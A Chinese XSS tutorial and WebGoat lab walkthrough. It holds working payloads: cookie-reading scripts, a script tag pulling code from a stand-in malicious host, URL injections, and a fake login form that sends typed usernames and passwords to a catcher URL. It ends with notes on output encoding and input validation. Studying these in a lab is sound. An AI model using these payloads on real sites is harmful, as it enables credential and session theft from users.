跨站脚本攻击在其他用户可以看到的地方放置恶意代码,通常是JavaScript代码。表单中的目标字段可以是地址、留言评论等。恶意代码通常窃取Cookie,从而可以使攻击者冒充成用户,或者进行社会工程攻击,诱引受害者泄漏自己的密码。Hotmail,Gmail和AOL都曾受到过这类社会工程攻击。
这里并不想特意论述操纵浏览器漏洞的JavaScript或类似技术,有三种方法可以对应用程序进行测试,如果成功的话,就表明该应用程序存在漏洞。
<script>document.write(document.cookie)</script>
<script>alert('Salut!')</script>
<script src="http://www.malicious-host.foo/badscript.js"></script>
请注意,最后一行代码从完全不同的一台服务器上调用了JavaScript,该技巧可以绕过绝大多数有长度限制的情况,因为badscript.js文件可以任意长而它的引用语句却相对较短。这些测试针对表单非常容易进行,在任意一个会重显的字段中试着简单填入字符串即可。比如,许多电子商务网站在你输入地址后,会显示一个确认页面,可以尝试在“街道名称”中输入<script>标记,看看会发生什么。
还有一些其他方法可以执行XSS攻击,像前面提到的那个例子,程序的搜索引擎也是XSS攻击的一个主要目标,可以在搜索字段中输入攻击内容,也可以直接通过URL提交:
http://Website/search/search.pl?qu=<script>alert(‘foo’)</alert>
我们还发现,错误页面也经常遭受XSS的攻击。比如,一个正常程序的错误页面URL如下:
http://Website/inc/errors.asp?Error=Invalid%20password
这会显示一个定制的拒绝访问页面,上面写着“Invalid password”(无效口令)。在页面内容中发现URL中的字符,这充分说明存在XSS漏洞。可以构造如下的攻击:
http://Website/inc/errors.asp?Error=<script%20src=...
也就是将脚本标记放在URL中。现在,你应该知道如何进行测试了。
题意
在搜索框中输入XSS攻击代码,需要实现的目的有三个:一、插入请求认证的html;二、添加JavaScript来收集认真信息;三、将认真信息传递http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
XSS攻击代码如下:
用户名<input name='Username'></input> 密码<input name='Password'></input> <input type="submit" value="Login" onclick="var xssImg=new Image();xssImg.src='http://localhost:8080/WebGoat/catcher?PROPERTY=yes&u='+this.form.Username.value+'&p='+this.form.Password.value;">
攻击思路:添加html认证信息,通过提交时将认证信息提交服务器。
XSS代码被提交给网站-->网站把XSS代码SetCookie给浏览器-->浏览器再次请求网站时提交包含XSS代码的Cookie-->网站从Cookie中取出包含XSS代码的某变量并将该变量作为页面内容的一部分返回给客户端-->客户端执行XSS代码
题意:以Tom登录通过修改信息页面,执行一个存储型XSS,攻击Street一栏,然后证明Jerry受到了这种XSS攻击。
分析源代码可以看到,如下
思想:首先想到的是闭合input的value属性,再写js脚本弹出相关信息即可。
代码:
"><script>alert("Aha,You are hacked!")</script>效果如下:
问题描述:通过输出编码使得XSS攻击失效。
分析弹出alert框的页面源码时,可以发现页面被嵌入了一个存储型XSS脚本,如下
需要通过输出编码使得脚本失效,
效果如下:
在查询页面插入如下脚本:
结果:
修改源代码,使得上述的反射型XSS不能被执行。
思想很简单,就是要做输入认证,使得脚本不能被执行。